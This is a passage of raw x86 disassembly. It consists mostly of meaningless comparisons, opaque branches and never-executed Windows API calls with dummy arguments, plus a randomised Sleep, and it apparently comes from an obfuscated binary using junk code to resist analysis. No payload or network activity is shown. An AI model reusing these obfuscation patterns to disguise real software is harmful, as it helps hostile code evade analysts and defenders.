and dword [ebp - 0x16f4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1e84]
cmp dword [ebp - 0x16f4], eax
jg 0x47e4d5
mov dword [ebp - 0x2434], 1
jmp 0x47e4dc
and dword [ebp - 0x2434], 0
cmp dword [ebp - 0x2434], 0
jl 0x47e4f1
mov dword [ebp - 0x16fc], 1
jmp 0x47e4f8
and dword [ebp - 0x16fc], 0
mov eax, dword [ebp - 0x7f0]
cmp eax, dword [ebp - 0x16fc]
jle 0x47e51b
cmp dword [ebp - 0x15c], 0
je 0x47e51b
mov dword [ebp - 0x1e8c], 1
jmp 0x47e522
and dword [ebp - 0x1e8c], 0
mov eax, dword [ebp - 0x1e8c]
mov dword [ebp - 0x2a1c], eax
mov byte [ebp - 0x43a], 0
movzx eax, byte [ebp - 0x43a]
test eax, eax
je 0x47e54a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
jmp 0x47e3c2
lea ecx, [ebp - 0x323c]
call fcn.00435516
jmp 0x47e318
mov dword [ebp - 0x130], 0
jmp 0x47e578
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 1
jge 0x47e7ac
mov dword [ebp - 0x80], 0x2667
mov dword [ebp - 0x1714], 0x7e67329
mov dword [ebp - 0x7f8], 0x943af780
mov dword [ebp - 0x1704], 0
push 3
lea ecx, [ebp - 0x3254]
call fcn.00435444
mov dword [ebp - 0x1e9c], 0
mov dword [ebp - 0x2a24], 0xd88ca0e2
mov dword [ebp - 0x3dc0], 0
mov dword [ebp - 0x900], 0
jmp 0x47e5ee
mov eax, dword [ebp - 0x900]
inc eax
mov dword [ebp - 0x900], eax
cmp dword [ebp - 0x900], 3
jge 0x47e610
push dword [ebp - 0x900]
lea ecx, [ebp - 0x3254]
call fcn.00435532
mov dword [eax], 0xff6
jmp 0x47e5e1
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x3dc8], eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x3dd0], eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x7f8], eax
mov eax, dword [ebp - 0x7f8]
mov dword [ebp - 0x1704], eax
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x1704], eax
jle 0x47e64e
mov dword [ebp - 0x2254], 1
jmp 0x47e655
and dword [ebp - 0x2254], 0
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x2254], eax
jl 0x47e66c
mov dword [ebp - 0x28b0], 1
jmp 0x47e673
and dword [ebp - 0x28b0], 0
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x3dd8], eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x3de0], eax
cmp dword [ebp - 0x80], 0
je 0x47e697
mov dword [ebp - 0x170c], 1
jmp 0x47e69e
and dword [ebp - 0x170c], 0
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x170c], eax
jne 0x47e6bb
cmp dword [ebp - 0x7f8], 0
je 0x47e6bb
and dword [ebp - 0x1e94], 0
jmp 0x47e6c5
mov dword [ebp - 0x1e94], 1
mov eax, dword [ebp - 0x80]
imul eax, dword [ebp - 0x1e94]
test eax, eax
je 0x47e6dc
cmp dword [ebp - 0x7f8], 0
jne 0x47e6f5
mov eax, 0xcfd8
test eax, eax
jne 0x47e6f5
push 0xfffffffffffffffd
pop eax
test eax, eax
jne 0x47e6f5
and dword [ebp - 0x2648], 0
jmp 0x47e6ff
mov dword [ebp - 0x2648], 1
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x1714], eax
mov eax, dword [ebp - 0x1714]
sub eax, dword [ebp - 0x2648]
cmp eax, dword [ebp - 0x80]
jge 0x47e725
mov dword [ebp - 0xc4c], 1
jmp 0x47e72c
and dword [ebp - 0xc4c], 0
push 0
lea ecx, [ebp - 0x3254]
call fcn.00435532
mov ecx, dword [ebp - 0xc4c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0xc4c], eax
jle 0x47e758
mov dword [ebp - 0x171c], 1
jmp 0x47e75f
and dword [ebp - 0x171c], 0
mov eax, dword [ebp - 0x171c]
mov dword [ebp - 0x1e9c], eax
mov eax, dword [ebp - 0x1e9c]
mov dword [ebp - 0x3de8], eax
mov eax, dword [ebp - 0x80]
push 0xfffffffffffffffc
pop ecx
add ecx, 0xe4bc795c
sub eax, ecx
mov dword [ebp - 0x2a24], eax
lea ecx, [ebp - 0x3254]
call fcn.00435516
mov eax, dword [ebp - 0x130]
mov dword [ebp + eax*4 - 0x1884], 0xffffffff
jmp 0x47e56b
mov dword [ebp - 0x130], 0
jmp 0x47e7c5
cmp dword [ebp - 0x130], 0xffffffff
jg 0x4812a9
mov dword [ebp - 0x800], 0x860b4ffb
mov dword [ebp - 0x3df0], 0x9244
mov dword [ebp - 0x980], 0
jmp 0x47e7ff
mov eax, dword [ebp - 0x980]
inc eax
mov dword [ebp - 0x980], eax
cmp dword [ebp - 0x980], 1
jge 0x47e81b
mov eax, dword [ebp - 0x980]
mov dword [ebp + eax*4 - 0x3df8], 0xfffffffc
jmp 0x47e7f2
mov byte [ebp - 0x2fe], 0
movzx eax, byte [ebp - 0x2fe]
test eax, eax
je 0x47e83f
push 0x12e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MonitorFromWindow]
mov dword [ebp - 0x800], 0
jmp 0x47e858
mov eax, dword [ebp - 0x800]
inc eax
mov dword [ebp - 0x800], eax
cmp dword [ebp - 0x800], 0
jg 0x47e8aa
mov byte [ebp - 0x424], 0
movzx eax, byte [ebp - 0x424]
test eax, eax
je 0x47e8a8
push 0x231f
push 0x182c
push 0x19eb
push 0xc26
push 0xa17
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawStateW]
jmp 0x47e84b
push 4
lea ecx, [ebp - 0xd58]
call fcn.00435444
mov dword [ebp - 0xa4], 0xada439be
mov dword [ebp - 0x5ec], 0xfffffff6
mov dword [ebp - 0x808], 0
mov dword [ebp - 0x908], 0
jmp 0x47e8ee
mov eax, dword [ebp - 0x908]
inc eax
mov dword [ebp - 0x908], eax
cmp dword [ebp - 0x908], 4
jge 0x47e90d
push dword [ebp - 0x908]
lea ecx, [ebp - 0xd58]
call fcn.00435532
and dword [eax], 0
jmp 0x47e8e1
mov dword [ebp - 0xa4], 0
jmp 0x47e926
cmp dword [ebp - 0xa4], 3
jg 0x47ed23
mov dword [ebp - 0x4bc], 0xfffffffc
mov dword [ebp - 0x173c], 0xfffffff7
mov dword [ebp - 0x9d8], 0x14b11f38
mov dword [ebp - 0x5a4], 0xffff
mov dword [ebp - 0x1ebc], 0xffffffff
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x3e00], eax
mov eax, dword [ebp - 0x5a4]
dec eax
mov dword [ebp - 0x5a4], eax
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x3e08], eax
mov eax, dword [ebp - 0x5a4]
mov dword [ebp - 0x3e10], eax
cmp dword [ebp - 0x5a4], 0
je 0x47e9bb
mov eax, 0xb91e
test eax, eax
je 0x47e9bb
push 9
pop eax
test eax, eax
je 0x47e9bb
mov dword [ebp - 0x1724], 1
jmp 0x47e9c2
and dword [ebp - 0x1724], 0
cmp dword [ebp - 0x1724], 1
jne 0x47e9d7
mov dword [ebp - 0x225c], 1
jmp 0x47e9de
and dword [ebp - 0x225c], 0
mov eax, dword [ebp - 0x9d8]
imul eax, dword [ebp - 0x225c]
sub eax, dword [ebp - 0x1ebc]
cmp eax, 0xf26af903
jbe 0x47ea04
mov dword [ebp - 0x172c], 1
jmp 0x47ea0b
and dword [ebp - 0x172c], 0
cmp dword [ebp - 0x172c], 0x383c
jle 0x47ea23
mov dword [ebp - 0x1ea4], 1
jmp 0x47ea2a
and dword [ebp - 0x1ea4], 0
cmp dword [ebp - 0x1ea4], 0x627e80a7
jg 0x47ea42
mov dword [ebp - 0x1734], 1
jmp 0x47ea49
and dword [ebp - 0x1734], 0
cmp dword [ebp - 0x1734], 0
jl 0x47ea5e
mov dword [ebp - 0x243c], 1
jmp 0x47ea65
and dword [ebp - 0x243c], 0
push 3
lea ecx, [ebp - 0xd58]
call fcn.00435532
mov ecx, dword [ebp - 0x4bc]
imul ecx, dword [ebp - 0x243c]
add ecx, dword [eax]
mov dword [ebp - 0x173c], ecx
mov eax, dword [ebp - 0x808]
cmp dword [ebp - 0x173c], eax
je 0x47eaa1
mov dword [ebp - 0x1eac], 1
jmp 0x47eaa8
and dword [ebp - 0x1eac], 0
push dword [ebp - 0xa4]
lea ecx, [ebp - 0xd58]
call fcn.00435532
mov ecx, dword [ebp - 0x1eac]
cmp ecx, dword [eax]
jg 0x47eacf
mov dword [ebp - 0x1744], 1
jmp 0x47ead6
and dword [ebp - 0x1744], 0
cmp dword [ebp - 0x1744], 1
jbe 0x47eaeb
mov dword [ebp - 0x2264], 1
jmp 0x47eaf2
and dword [ebp - 0x2264], 0
mov eax, dword [ebp - 0x2264]
mov dword [ebp - 0x5ec], eax
mov eax, dword [ebp - 0x9d8]
cmp dword [ebp - 0x5ec], eax
jle 0x47eb18
mov dword [ebp - 0x174c], 1
jmp 0x47eb1f
and dword [ebp - 0x174c], 0
mov eax, dword [ebp - 0x4bc]
cmp dword [ebp - 0x174c], eax
jne 0x47eb39
mov dword [ebp - 0x1eb4], 1
jmp 0x47eb40
and dword [ebp - 0x1eb4], 0
mov eax, dword [ebp - 0x808]
cmp dword [ebp - 0x1eb4], eax
jl 0x47eb5f
push dword [ebp - 0xa4]
lea ecx, [ebp - 0xd58]
call fcn.00435532
cmp dword [ebp - 0x5a4], 0
je 0x47eb93
mov byte [ebp - 0x300], 0
movzx eax, byte [ebp - 0x300]
test eax, eax
je 0x47eb91
push 0
push 0x232d
push 0x23d4
push 0x22c
call dword [sym.imp.KERNEL32.dll_RaiseException]
jmp 0x47ebad
mov byte [ebp - 0x446], 0
movzx eax, byte [ebp - 0x446]
test eax, eax
je 0x47ebad
push 0
call dword [sym.imp.USER32.dll_CharNextW]
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x3e18], eax
push dword [ebp - 0xa4]
lea ecx, [ebp - 0xd58]
call fcn.00435532
cmp dword [eax], 0
je 0x47ebed
push 0
lea ecx, [ebp - 0xd58]
call fcn.00435532
cmp dword [eax], 0
je 0x47ebed
and dword [ebp - 0x1754], 0
push 2
lea ecx, [ebp - 0xd58]
call fcn.00435532
mov ecx, dword [ebp - 0x1754]
imul ecx, dword [eax]
cmp ecx, dword [ebp - 0x808]
jg 0x47ec1e
mov eax, dword [ebp - 0x5ec]
mov dword [ebp - 0x5ec], eax
lea ecx, [ebp - 0xd58]
call fcn.00435516
push 4
lea ecx, [ebp - 0x32cc]
call fcn.00435444
push 3
lea ecx, [ebp - 0xa78]
call fcn.00435444
push 4
lea ecx, [ebp - 0x326c]
call fcn.00435444
mov dword [ebp - 0x810], 0x93876a47
mov dword [ebp - 0x90], 0
jmp 0x47ed84
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 3
jge 0x47eda6
push dword [ebp - 0x90]
lea ecx, [ebp - 0xa78]
call fcn.00435532
mov dword [eax], 0xfffffffe
jmp 0x47ed77
mov dword [ebp - 0x90], 0
jmp 0x47edbf
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 4
jge 0x47ede1
push dword [ebp - 0x90]
lea ecx, [ebp - 0x326c]
call fcn.00435532
mov dword [eax], 1
jmp 0x47edb2
mov dword [ebp - 0x90], 0
jmp 0x47edfa
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 1
jge 0x47ee16
mov eax, dword [ebp - 0x90]
mov dword [ebp + eax*4 - 0x28c8], 0xd61fb9a3
jmp 0x47eded
push 2
lea ecx, [ebp - 0xa78]
call fcn.00435532
push 0
lea ecx, [ebp - 0xa78]
call fcn.00435532
push 2
lea ecx, [ebp - 0xa78]
call fcn.00435532
cmp dword [eax], 0xeba4d3ec
jae 0x47ee51
mov dword [ebp - 0x1ec4], 1
jmp 0x47ee58
and dword [ebp - 0x1ec4], 0
cmp dword [ebp - 0x1ec4], 0xcc25
je 0x47ee70
mov dword [ebp - 0x2a2c], 1
jmp 0x47ee77
and dword [ebp - 0x2a2c], 0
mov eax, dword [ebp - 0x810]
mov dword [ebp - 0x3dd4], eax
push 2
lea ecx, [ebp - 0xa78]
call fcn.00435532
imul eax, dword [eax], 0x1dfe
mov dword [ebp - 0x1774], eax
push 1
lea ecx, [ebp - 0x326c]
call fcn.00435532
mov ecx, dword [ebp - 0x1774]
mov dword [eax], ecx
mov esi, dword [ebp - 0x810]
push 0
lea ecx, [ebp - 0xa78]
call fcn.00435532
imul esi, dword [eax]
cmp dword [ebp - 0x1774], esi
jne 0x47eeed
push 2
lea ecx, [ebp - 0xa78]
call fcn.00435532
cmp dword [eax], 0
je 0x47eeed
mov dword [ebp - 0x2444], 1
jmp 0x47eef4
and dword [ebp - 0x2444], 0
mov eax, dword [ebp - 0x810]
cmp dword [ebp - 0x2444], eax
jle 0x47ef0e
mov dword [ebp - 0x177c], 1
jmp 0x47ef15
and dword [ebp - 0x177c], 0
cmp dword [ebp - 0x177c], 0xc2f92e6c
ja 0x47ef2d
mov dword [ebp - 0x28c0], 1
jmp 0x47ef34
and dword [ebp - 0x28c0], 0
push 2
lea ecx, [ebp - 0xa78]
call fcn.00435532
push 1
lea ecx, [ebp - 0xa78]
call fcn.00435532
mov esi, eax
push 2
lea ecx, [ebp - 0xa78]
call fcn.00435532
mov ecx, dword [esi]
cmp ecx, dword [eax]
jge 0x47ef6f
mov dword [ebp - 0x2a34], 1
jmp 0x47ef76
and dword [ebp - 0x2a34], 0
push 2
lea ecx, [ebp - 0xa78]
call fcn.00435532
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x810]
mov dword [ebp + eax - 0x28c8], ecx
lea ecx, [ebp - 0x326c]
call fcn.00435516
lea ecx, [ebp - 0xa78]
call fcn.00435516
mov dword [ebp - 0x210], 0
jmp 0x47efc5
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 1
jge 0x47efe1
mov eax, dword [ebp - 0x210]
mov dword [ebp + eax*4 - 0x38c], 0xc3099cf
jmp 0x47efb8
mov dword [ebp - 0x14c], 0x925b0e44
mov dword [ebp - 0x1ecc], 0x37855514
mov dword [ebp - 0x178c], 0x27289fff
mov dword [ebp - 0x2a3c], 0xfffffff9
cmp dword [ebp - 0x14c], 0
jne 0x47f019
cmp dword [ebp - 0x14c], 0
mov dword [ebp - 0x1ecc], 1
imul eax, dword [ebp - 0x1ecc], 0xfff7
imul eax, dword [ebp - 0x14c]
cmp eax, dword [ebp - 0x14c]
je 0x47f048
push 2
lea ecx, [ebp - 0x25b0]
call fcn.00435444
mov dword [ebp - 0x19bc], 6
mov dword [ebp - 0x2e00], 0x4340
mov dword [ebp - 0x70], 0
jmp 0x4812da
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 2
jge 0x4812f3
push dword [ebp - 0x70]
lea ecx, [ebp - 0x25b0]
call fcn.00435532
or dword [eax], 0xffffffff
jmp 0x4812d3
mov dword [ebp - 0x70], 0
jmp 0x481303
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 1
jge 0x481319
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0x258], 0
jmp 0x4812fc
mov dword [ebp - 0x70], 0
jmp 0x481329
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 2
jge 0x48133f
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0x2f4c], 0xcff8ee1d
jmp 0x481322
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x258], 1
jmp 0x48136d
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x258]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x258], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x258], 0
jl 0x4816d7
mov dword [ebp - 0x3ac], 0xffffffff
mov dword [ebp - 0x34fc], 0xffffffff
mov dword [ebp - 0x2494], 0xf889a278
mov dword [ebp - 0x390c], 0xfffffff8
push 2
lea ecx, [ebp - 0x2ec8]
call fcn.00435444
mov dword [ebp - 0xbb4], 0xd691704d
mov dword [ebp - 0x2940], 0
mov dword [ebp - 0x67c], 0
jmp 0x4813e3
mov eax, dword [ebp - 0x67c]
inc eax
mov dword [ebp - 0x67c], eax
cmp dword [ebp - 0x67c], 2
jge 0x481405
push dword [ebp - 0x67c]
lea ecx, [ebp - 0x2ec8]
call fcn.00435532
mov dword [eax], 0xe3f1571c
jmp 0x4813d6
mov dword [ebp - 0x3ac], 1
jmp 0x48141e
mov eax, dword [ebp - 0x3ac]
dec eax
mov dword [ebp - 0x3ac], eax
cmp dword [ebp - 0x3ac], 0
jl 0x481572
push 1
lea ecx, [ebp - 0x32e4]
call fcn.00435444
mov dword [ebp - 0x3504], 0xfffffffa
mov dword [ebp - 0x684], 0
jmp 0x48145b
mov eax, dword [ebp - 0x684]
inc eax
mov dword [ebp - 0x684], eax
cmp dword [ebp - 0x684], 1
jge 0x48147a
push dword [ebp - 0x684]
lea ecx, [ebp - 0x32e4]
call fcn.00435532
and dword [eax], 0
jmp 0x48144e
push 0
lea ecx, [ebp - 0x2ec8]
call fcn.00435532
mov dword [eax], 6
push dword [ebp - 0x3ac]
lea ecx, [ebp - 0x25b0]
call fcn.00435532
cmp dword [eax], 6
jl 0x4814af
mov dword [ebp - 0x199c], 1
jmp 0x4814b6
and dword [ebp - 0x199c], 0
mov eax, dword [ebp - 0xbb4]
dec eax
mov dword [ebp - 0xbb4], eax
mov eax, dword [ebp - 0xbb4]
cmp eax, dword [ebp - 0x199c]
jle 0x4814dd
mov dword [ebp - 0x1fdc], 1
jmp 0x4814e4
and dword [ebp - 0x1fdc], 0
xor eax, eax
sub eax, dword [ebp - 0x1fdc]
cmp eax, 0x49acb085
jne 0x4814ff
mov dword [ebp - 0x19a4], 1
jmp 0x481506
and dword [ebp - 0x19a4], 0
push dword [ebp - 0x3ac]
lea ecx, [ebp - 0x25b0]
call fcn.00435532
mov eax, dword [eax]
cmp eax, dword [ebp - 0x19a4]
jle 0x48152d
mov dword [ebp - 0x22fc], 1
jmp 0x481534
and dword [ebp - 0x22fc], 0
mov eax, dword [ebp - 0x22fc]
neg eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x2f4c], eax
cmp dword [ebp - 0x2940], 0
je 0x481562
lea ecx, [ebp - 0x32e4]
call fcn.00435516
jmp 0x481411
lea ecx, [ebp - 0x32e4]
call fcn.00435516
jmp 0x481411
mov eax, 0xdfe1602a
test eax, eax
je 0x48159c
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x258]
lea ecx, [ebp - 0x25b0]
call fcn.00435532
cmp dword [eax], 0
jne 0x481669
cmp dword [ebp - 0x19bc], 0x979
jg 0x4815b4
mov dword [ebp - 0x19ac], 1
jmp 0x4815bb
and dword [ebp - 0x19ac], 0
mov eax, dword [ebp - 0x19ac]
shl eax, 3
test eax, eax
jne 0x4815cf
cmp dword [ebp - 0x2494], 0
push 1
lea ecx, [ebp - 0x25b0]
call fcn.00435532
cmp dword [eax], 4
jle 0x4815ed
mov dword [ebp - 0x1fe4], 1
jmp 0x4815f4
and dword [ebp - 0x1fe4], 0
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x258]
lea ecx, [ebp - 0x25b0]
call fcn.00435532
mov eax, dword [eax]
cmp eax, dword [ebp - 0x1fe4]
je 0x481622
mov dword [ebp - 0x19b4], 1
jmp 0x481629
and dword [ebp - 0x19b4], 0
mov eax, dword [ebp - 0x2e00]
imul eax, dword [ebp - 0x19b4]
test eax, eax
je 0x481643
cmp dword [ebp - 0x2494], 0
jne 0x481650
push 0
lea ecx, [ebp - 0x2ec8]
call fcn.00435532
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x258], 0
jge 0x481669
and dword [ebp - 0x2948], 0
jmp 0x481673
mov dword [ebp - 0x2948], 1
push 0
lea ecx, [ebp - 0x25b0]
call fcn.00435532
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x258]
mov dword [ebp - 0x3c4c], eax
mov eax, dword [ebp - 0x19bc]
cmp dword [ebp - 0x3ac], eax
je 0x4816ad
mov dword [ebp - 0x1fec], 1
jmp 0x4816b4
and dword [ebp - 0x1fec], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1fec]
mov dword [ebp + eax - 0x2f4c], ecx
lea ecx, [ebp - 0x2ec8]
call fcn.00435516
jmp 0x481352
lea ecx, [ebp - 0x25b0]
call fcn.00435516
call fcn.0046e573
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x2ce0], 0x56fae7a4
mov dword [ebp - 0x68c], 0
jmp 0x481711
mov eax, dword [ebp - 0x68c]
inc eax
mov dword [ebp - 0x68c], eax
cmp dword [ebp - 0x68c], 1
jge 0x48172d
mov eax, dword [ebp - 0x68c]
mov dword [ebp + eax*4 - 0x548], 0x648261f
jmp 0x481704
mov dword [ebp - 0x74], 0
jmp 0x48173d
cmp dword [ebp - 0x74], 0
jl 0x48197b
mov dword [ebp - 0x468], 0x14c5530c
mov dword [ebp - 0x694], 0x1054d814
mov dword [ebp - 0x2950], 6
mov eax, 0xa11600d5
test eax, eax
je 0x481786
cmp dword [ebp - 0x468], 0xa5eafb5d
jbe 0x481786
mov dword [ebp - 0x19c4], 1
jmp 0x48178d
and dword [ebp - 0x19c4], 0
mov eax, dword [ebp - 0x468]
cmp dword [ebp - 0x19c4], eax
je 0x4817a7
mov dword [ebp - 0x2304], 1
jmp 0x4817ae
and dword [ebp - 0x2304], 0
cmp dword [ebp - 0x2304], 0xf40e
jl 0x4817c6
mov dword [ebp - 0x19cc], 1
jmp 0x4817cd
and dword [ebp - 0x19cc], 0
cmp dword [ebp - 0x19cc], 0xfffffffc
jne 0x4817e2
mov dword [ebp - 0x1ff4], 1
jmp 0x4817e9
and dword [ebp - 0x1ff4], 0
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0x1ff4], eax
jge 0x481800
mov dword [ebp - 0x19d4], 1
jmp 0x481807
and dword [ebp - 0x19d4], 0
mov eax, dword [ebp - 0x74]
imul eax, dword [ebp - 0x19d4]
cmp eax, 0xa9f
jle 0x481824
mov dword [ebp - 0x2564], 1
jmp 0x48182b
and dword [ebp - 0x2564], 0
cmp dword [ebp - 0x2564], 8
je 0x481840
mov dword [ebp - 0x19dc], 1
jmp 0x481847
and dword [ebp - 0x19dc], 0
cmp dword [ebp - 0x19dc], 6
je 0x48185c
mov dword [ebp - 0x1ffc], 1
jmp 0x481863
and dword [ebp - 0x1ffc], 0
cmp dword [ebp - 0x1ffc], 1
jne 0x481878
mov dword [ebp - 0x19e4], 1
jmp 0x48187f
and dword [ebp - 0x19e4], 0
mov eax, dword [ebp - 0x468]
cmp dword [ebp - 0x19e4], eax
jg 0x481899
mov dword [ebp - 0x230c], 1
jmp 0x4818a0
and dword [ebp - 0x230c], 0
mov eax, dword [ebp - 0x468]
cmp dword [ebp - 0x230c], eax
jg 0x4818ba
mov dword [ebp - 0x19ec], 1
jmp 0x4818c1
and dword [ebp - 0x19ec], 0
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp + eax*4 - 0x548]
mov dword [ebp - 0x2004], eax
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x2004]
mov dword [ebp + eax*4 - 0x548], ecx
mov eax, dword [ebp - 0x19ec]
mov dword [ebp - 0x468], eax
mov eax, dword [ebp - 0x468]
cmp dword [ebp - 0x2004], eax
jne 0x481907
mov dword [ebp - 0x19f4], 1
jmp 0x48190e
and dword [ebp - 0x19f4], 0
mov eax, dword [ebp - 0x19f4]
sub eax, dword [ebp - 0x694]
jmp 0x481928
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x3914], eax
cmp dword [ebp - 0x74], 0
je 0x4819be
cmp dword [ebp - 0x74], 0x15e40c88
je 0x48199f
mov dword [ebp - 0x19fc], 1
jmp 0x4819a6
and dword [ebp - 0x19fc], 0
cmp dword [ebp - 0x19fc], 0x7b36
jg 0x4819be
mov dword [ebp - 0x200c], 1
jmp 0x4819c5
and dword [ebp - 0x200c], 0
mov eax, dword [ebp - 0x200c]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x3514], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x548], 1
jge 0x4819f3
mov dword [ebp - 0x1a04], 1
jmp 0x4819fa
and dword [ebp - 0x1a04], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x548]
cmp dword [ebp - 0x1a04], eax
jge 0x481a1b
mov dword [ebp - 0x2314], 1
jmp 0x481a22
and dword [ebp - 0x2314], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x548]
cmp dword [ebp - 0x2314], eax
jge 0x481a43
mov dword [ebp - 0x1a0c], 1
jmp 0x481a4a
and dword [ebp - 0x1a0c], 0
mov eax, dword [ebp - 0x1a0c]
mov dword [ebp - 0x2ce0], eax
call fcn.00491eb2
cdq
push 3
pop ecx
idiv ecx
add edx, 3
imul eax, edx, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x48ecdd
mov dword [ebp - 0x470], 0x3b4e1a36
mov dword [ebp - 0x345c], 1
mov dword [ebp - 0x3458], 1
mov dword [ebp - 0x3454], 1
mov dword [ebp - 0x3450], 1
mov dword [ebp - 0x2fcc], 1
mov dword [ebp - 0x2fc8], 1
mov dword [ebp - 0x2fc4], 1
mov dword [ebp - 0x2fc0], 1
cmp dword [ebp - 0x470], 0
je 0x481b10
mov dword [ebp - 0x470], 0
jmp 0x481af2
mov eax, dword [ebp - 0x470]
inc eax
mov dword [ebp - 0x470], eax
cmp dword [ebp - 0x470], 4
jge 0x481b0e
mov eax, dword [ebp - 0x470]
mov dword [ebp + eax*4 - 0x345c], 0x9c17633e
jmp 0x481ae5
jmp 0x481b30
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x2fcc], 0x3c044b15
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x2fcc], 0x79e672ca
mov byte [ebp - 0x30c], 0
movzx eax, byte [ebp - 0x30c]
test eax, eax
je 0x481b61
push 0
push 0
push 0x1dc9
push 0
push 0x2515
push 0
push 0x1810
push 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov dword [ebp - 0xc0], 0x730f94f3
mov dword [ebp - 0x550], 0x580d416d
mov dword [ebp - 0x3030], 0x4c7af5af
mov dword [ebp - 0x302c], 0x4c7af5af
mov dword [ebp - 0x3028], 0x4c7af5af
mov dword [ebp - 0x3024], 0x4c7af5af
lea ecx, [ebp - 0xc1d]
call fcn.00435541
push eax
lea eax, [ebp - 0x3020]
push eax
lea eax, [ebp - 0x3030]
push eax
lea ecx, [ebp - 0x4034]
call fcn.00435544
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x278c]
call fcn.004354f0
mov dword [ebp - 0x260], 0xe982
mov dword [ebp - 0x1a34], 5
mov dword [ebp - 0xcdc], 0xfffffff8
mov dword [ebp - 0x2e44], 0
mov dword [ebp - 0x2324], 0x104b
mov dword [ebp - 0x69c], 0
jmp 0x481c1d
mov eax, dword [ebp - 0x69c]
inc eax
mov dword [ebp - 0x69c], eax
cmp dword [ebp - 0x69c], 4
jge 0x481c39
mov eax, dword [ebp - 0x69c]
mov dword [ebp + eax*4 - 0x347c], 0x4ec2e0cf
jmp 0x481c10
mov dword [ebp - 0xc0], 3
jmp 0x481c52
mov eax, dword [ebp - 0xc0]
dec eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0
jl 0x481f3a
mov dword [ebp - 0x2f64], 2
mov dword [ebp - 0x2f60], 2
mov dword [ebp - 0x2f5c], 2
mov dword [ebp - 0x2f58], 2
mov dword [ebp - 0x3d78], 0x3a92bd42
mov dword [ebp - 0x351c], 0xfffffffc
mov dword [ebp - 0x2970], 0x47c2c9eb
mov dword [ebp - 0x201c], 0x9f58382b
mov dword [ebp - 0x391c], 0x329b3a00
mov dword [ebp - 0x3524], 0xffffffff
mov dword [ebp - 0x3c54], 0xfffffffe
mov dword [ebp - 0x2968], 0
mov dword [ebp - 0x352c], 0x40552487
mov dword [ebp - 0x3924], 0xaac89535
mov dword [ebp - 0x2958], 0x413f0870
mov dword [ebp - 0x3534], 0xa2a0c0e0
mov dword [ebp - 0x3d74], 9
mov dword [ebp - 0x2ba0], 0xd8ac507
mov dword [ebp - 0x2960], 0xfffd
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp + eax*4 - 0x347c]
mov dword [ebp - 0x353c], eax
mov eax, dword [ebp - 0x1a34]
mov dword [ebp - 0x392c], eax
mov eax, dword [ebp - 0x2958]
cmp dword [ebp - 0x2ba0], eax
jne 0x481d56
mov dword [ebp - 0x2014], 1
jmp 0x481d5d
and dword [ebp - 0x2014], 0
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
